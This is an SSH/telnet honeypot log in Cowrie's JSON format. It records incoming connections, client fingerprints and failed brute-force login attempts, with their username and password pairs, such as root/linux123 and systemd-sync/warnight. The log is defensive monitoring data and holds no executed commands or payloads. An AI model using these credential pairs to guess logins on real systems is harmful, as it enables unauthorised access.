{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:14.213241Z","src_ip":"221.161.235.168","session":"9811b92b43f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:14.414765Z","src_ip":"8.218.166.49","session":"98788285b165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat@123","message":"login attempt [root/redhat@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:15.020947Z","src_ip":"221.161.235.168","session":"9811b92b43f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:16.217627Z","src_ip":"221.161.235.168","session":"9811b92b43f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":54528,"dst_ip":"159.203.135.109","dst_port":22,"session":"829cd4f15fbc","protocol":"ssh","message":"New connection: 165.154.6.49:54528 (159.203.135.109:22) [session: 829cd4f15fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:16.477846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:16.481873Z","src_ip":"165.154.6.49","session":"829cd4f15fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:16.696953Z","src_ip":"165.154.6.49","session":"829cd4f15fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:17.591236Z","src_ip":"165.154.6.49","session":"829cd4f15fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:18.809697Z","src_ip":"165.154.6.49","session":"829cd4f15fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:20.047799Z","src_ip":"8.218.166.49","session":"fc4740637935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:25.290456Z","src_ip":"8.218.166.49","session":"e138cc3ddfb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":58134,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe0c65e90f2","protocol":"telnet","message":"New connection: 142.93.69.27:58134 (10.17.0.5:23) [session: 1fe0c65e90f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:35.493405Z"}
{"eventid":"cowrie.session.closed","duration":1.3586108684539795,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:36.851927Z","src_ip":"142.93.69.27","session":"1fe0c65e90f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":51336,"dst_ip":"159.203.135.109","dst_port":22,"session":"73b11ee8cfc4","protocol":"ssh","message":"New connection: 139.59.208.49:51336 (159.203.135.109:22) [session: 73b11ee8cfc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:38.156046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:38.164527Z","src_ip":"139.59.208.49","session":"73b11ee8cfc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:38.249644Z","src_ip":"139.59.208.49","session":"73b11ee8cfc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:38.615459Z","src_ip":"139.59.208.49","session":"73b11ee8cfc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:39.701199Z","src_ip":"139.59.208.49","session":"73b11ee8cfc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":47778,"dst_ip":"159.203.135.109","dst_port":22,"session":"341f26811320","protocol":"ssh","message":"New connection: 124.155.125.131:47778 (159.203.135.109:22) [session: 341f26811320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:42.584703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:42.589201Z","src_ip":"124.155.125.131","session":"341f26811320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:42.767665Z","src_ip":"124.155.125.131","session":"341f26811320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1A2A3A4A5","message":"login attempt [root/A1A2A3A4A5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:43.509427Z","src_ip":"124.155.125.131","session":"341f26811320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:44.692011Z","src_ip":"124.155.125.131","session":"341f26811320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":56262,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c228287785","protocol":"ssh","message":"New connection: 190.167.237.191:56262 (159.203.135.109:22) [session: f0c228287785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:49.230408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:49.242978Z","src_ip":"190.167.237.191","session":"f0c228287785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:49.302482Z","src_ip":"190.167.237.191","session":"f0c228287785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grep","message":"login attempt [root/grep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:49.564494Z","src_ip":"190.167.237.191","session":"f0c228287785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:50.624604Z","src_ip":"190.167.237.191","session":"f0c228287785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":57070,"dst_ip":"159.203.135.109","dst_port":22,"session":"0902581fec3c","protocol":"ssh","message":"New connection: 221.161.235.168:57070 (159.203.135.109:22) [session: 0902581fec3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:53.684383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:53.688911Z","src_ip":"221.161.235.168","session":"0902581fec3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:53.882912Z","src_ip":"221.161.235.168","session":"0902581fec3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":59054,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6155f5361e7","protocol":"ssh","message":"New connection: 88.147.30.59:59054 (159.203.135.109:22) [session: c6155f5361e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:54.387948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:54.392556Z","src_ip":"88.147.30.59","session":"c6155f5361e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:54.518739Z","src_ip":"88.147.30.59","session":"c6155f5361e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa55word","message":"login attempt [root/pa55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:54.690940Z","src_ip":"221.161.235.168","session":"0902581fec3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:55.033322Z","src_ip":"88.147.30.59","session":"c6155f5361e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:55.888724Z","src_ip":"221.161.235.168","session":"0902581fec3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:56.158653Z","src_ip":"88.147.30.59","session":"c6155f5361e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":58374,"dst_ip":"10.17.0.5","dst_port":23,"session":"050b1e576fa1","protocol":"telnet","message":"New connection: 142.93.69.27:58374 (10.17.0.5:23) [session: 050b1e576fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:00.429804Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":36830,"dst_ip":"159.203.135.109","dst_port":22,"session":"c831718beef3","protocol":"ssh","message":"New connection: 165.154.6.49:36830 (159.203.135.109:22) [session: c831718beef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:16.628659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:16.633218Z","src_ip":"165.154.6.49","session":"c831718beef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:16.849611Z","src_ip":"165.154.6.49","session":"c831718beef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kkkk","message":"login attempt [root/kkkk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:17.748134Z","src_ip":"165.154.6.49","session":"c831718beef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:18.968565Z","src_ip":"165.154.6.49","session":"c831718beef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":43748,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e58459bd399","protocol":"ssh","message":"New connection: 213.209.159.56:43748 (10.17.0.5:22) [session: 2e58459bd399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:29.427136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:29.434179Z","src_ip":"213.209.159.56","session":"2e58459bd399","protocol":"ssh"}
